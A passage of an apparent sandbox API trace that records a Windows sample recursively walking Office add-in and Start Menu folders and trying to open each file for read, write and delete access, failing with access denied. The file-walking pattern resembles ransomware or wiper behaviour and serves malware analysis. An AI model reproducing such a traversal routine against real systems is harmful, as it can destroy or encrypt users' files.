ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0145.433] wcscmp (_String1="ACCOLK.DLL", _String2=".") returned 1 [0145.433] wcscmp (_String1="ACCOLK.DLL", _String2="..") returned 1 [0145.433] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x2e780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAddin.dll", cAlternateFileName="")) returned 1 [0145.433] wcscmp (_String1="BCSAddin.dll", _String2=".") returned 1 [0145.433] wcscmp (_String1="BCSAddin.dll", _String2="..") returned 1 [0145.433] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4065b100, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4065b100, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="COLLEA~1.DLL")) returned 1 [0145.433] wcscmp (_String1="ColleagueImport.dll", _String2=".") returned 1 [0145.433] wcscmp (_String1="ColleagueImport.dll", _String2="..") returned 1 [0145.433] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0725100, ftCreationTime.dwHighDateTime=0x1bdbc1e, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0725100, ftLastWriteTime.dwHighDateTime=0x1bdbc1e, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0145.433] wcscmp (_String1="FAXEXT.ECF", _String2=".") returned 1 [0145.433] wcscmp (_String1="FAXEXT.ECF", _String2="..") returned 1 [0145.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f7570 [0145.433] wcscpy (in: _Dest=0x8f7570, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0145.433] wcscat (in: _Dest=0x8f7570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0145.433] wcscat (in: _Dest=0x8f7570, _Source="FAXEXT.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" [0151.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf")) returned 0x20 [0151.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", dwFileAttributes=0x20) returned 0 [0151.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.338] GetLastError () returned 0x5 [0151.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF", dwFileAttributes=0x20) returned 0 [0151.338] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7570) returned 1 [0151.338] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x5279f530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0151.338] wcscmp (_String1="MSOSEC.DLL", _String2=".") returned 1 [0151.338] wcscmp (_String1="MSOSEC.DLL", _String2="..") returned 1 [0151.338] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0151.338] wcscmp (_String1="MSOSEC.XML", _String2=".") returned 1 [0151.338] wcscmp (_String1="MSOSEC.XML", _String2="..") returned 1 [0151.338] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f7570 [0151.338] wcscpy (in: _Dest=0x8f7570, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0151.338] wcscat (in: _Dest=0x8f7570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0151.338] wcscat (in: _Dest=0x8f7570, _Source="MSOSEC.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" [0151.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml")) returned 0x20 [0151.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML", dwFileAttributes=0x20) returned 0 [0151.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.347] GetLastError () returned 0x5 [0151.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML", dwFileAttributes=0x20) returned 0 [0151.347] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7570) returned 1 [0151.347] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea7100, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdbea7100, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0151.347] wcscmp (_String1="MSSPC.ECF", _String2=".") returned 1 [0151.347] wcscmp (_String1="MSSPC.ECF", _String2="..") returned 1 [0151.347] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d1000 [0151.347] wcscpy (in: _Dest=0x8d1000, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0151.347] wcscat (in: _Dest=0x8d1000, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0151.348] wcscat (in: _Dest=0x8d1000, _Source="MSSPC.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" [0151.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf")) returned 0x20 [0151.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF", dwFileAttributes=0x20) returned 0 [0151.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.356] GetLastError () returned 0x5 [0151.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF", dwFileAttributes=0x20) returned 0 [0151.357] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d1000) returned 1 [0151.357] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a70000, ftCreationTime.dwHighDateTime=0x1ca200c, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd8a70000, ftLastWriteTime.dwHighDateTime=0x1ca200c, nFileSizeHigh=0x0, nFileSizeLow=0x25348, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="OTKLOA~1.DLL")) returned 1 [0151.357] wcscmp (_String1="otkloadr_x64.dll", _String2=".") returned 1 [0151.357] wcscmp (_String1="otkloadr_x64.dll", _String2="..") returned 1 [0151.357] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6927e500, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6927e500, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0151.357] wcscmp (_String1="OUTEX.ECF", _String2=".") returned 1 [0151.357] wcscmp (_String1="OUTEX.ECF", _String2="..") returned 1 [0151.357] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d1000 [0151.357] wcscpy (in: _Dest=0x8d1000, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0151.357] wcscat (in: _Dest=0x8d1000, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0151.357] wcscat (in: _Dest=0x8d1000, _Source="OUTEX.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" [0151.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 0x20 [0151.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF", dwFileAttributes=0x20) returned 0 [0151.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.382] GetLastError () returned 0x5 [0151.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF", dwFileAttributes=0x20) returned 0 [0151.382] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d1000) returned 1 [0151.382] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ef300, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x704ef300, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0151.382] wcscmp (_String1="OUTEX2.ECF", _String2=".") returned 1 [0151.382] wcscmp (_String1="OUTEX2.ECF", _String2="..") returned 1 [0151.382] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f7570 [0151.382] wcscpy (in: _Dest=0x8f7570, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0151.382] wcscat (in: _Dest=0x8f7570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0151.382] wcscat (in: _Dest=0x8f7570, _Source="OUTEX2.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" [0151.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 0x20 [0151.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF", dwFileAttributes=0x20) returned 0 [0151.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.398] GetLastError () returned 0x5 [0151.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF", dwFileAttributes=0x20) returned 0 [0151.398] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7570) returned 1 [0151.398] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x13b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0151.398] wcscmp (_String1="OUTLVBA.DLL", _String2=".") returned 1 [0151.398] wcscmp (_String1="OUTLVBA.DLL", _String2="..") returned 1 [0151.398] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f32200, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0x1710610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f32200, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0151.398] wcscmp (_String1="PMAILEXT.ECF", _String2=".") returned 1 [0151.398] wcscmp (_String1="PMAILEXT.ECF", _String2="..") returned 1 [0151.398] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7570 [0151.398] wcscpy (in: _Dest=0x8f7570, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0151.398] wcscat (in: _Dest=0x8f7570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0151.398] wcscat (in: _Dest=0x8f7570, _Source="PMAILEXT.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" [0151.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 0x20 [0151.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF", dwFileAttributes=0x20) returned 0 [0151.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.422] GetLastError () returned 0x5 [0151.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF", dwFileAttributes=0x20) returned 0 [0151.422] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7570) returned 1 [0151.422] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0151.422] wcscmp (_String1="UmOutlookAddin.dll", _String2=".") returned 1 [0151.422] wcscmp (_String1="UmOutlookAddin.dll", _String2="..") returned 1 [0151.422] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x91e890 | out: lpFindFileData=0x91e890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 0 [0151.422] FindClose (in: hFindFile=0x8da050 | out: hFindFile=0x8da050) returned 1 [0151.422] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91e890) returned 1 [0151.422] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93cd38) returned 1 [0151.422] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1988) returned 1 Thread: id = 1926 os_tid = 0xbb8 [0141.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic")) returned 0x20 [0145.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC", dwFileAttributes=0x20) returned 0 [0145.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.465] GetLastError () returned 0x5 [0145.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC", dwFileAttributes=0x20) returned 0 [0145.465] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8bc0) returned 1 Thread: id = 1939 os_tid = 0xbec [0141.668] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7448 [0141.668] wcscpy (in: _Dest=0x8e7448, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0141.668] wcscat (in: _Dest=0x8e7448, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0141.669] wcscat (in: _Dest=0x8e7448, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*" [0141.669] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9113b8 [0141.669] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941df0 [0141.669] wcscmp (_String1=".", _String2=".") returned 0 [0141.669] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.669] wcscmp (_String1="..", _String2=".") returned 1 [0141.669] wcscmp (_String1="..", _String2="..") returned 0 [0141.669] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0141.669] wcscmp (_String1="Accessibility", _String2=".") returned 1 [0141.669] wcscmp (_String1="Accessibility", _String2="..") returned 1 [0141.669] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934db0 [0141.669] wcscpy (in: _Dest=0x934db0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0141.669] wcscat (in: _Dest=0x934db0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0141.669] wcscat (in: _Dest=0x934db0, _Source="Accessibility" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" [0144.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x934db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0144.738] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3e9c58, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e3e9c58, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e435f19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator.lnk", cAlternateFileName="CALCUL~1.LNK")) returned 1 [0144.738] wcscmp (_String1="Calculator.lnk", _String2=".") returned 1 [0144.738] wcscmp (_String1="Calculator.lnk", _String2="..") returned 1 [0144.738] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec08153b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec08153b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0144.738] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0144.738] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0144.738] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, 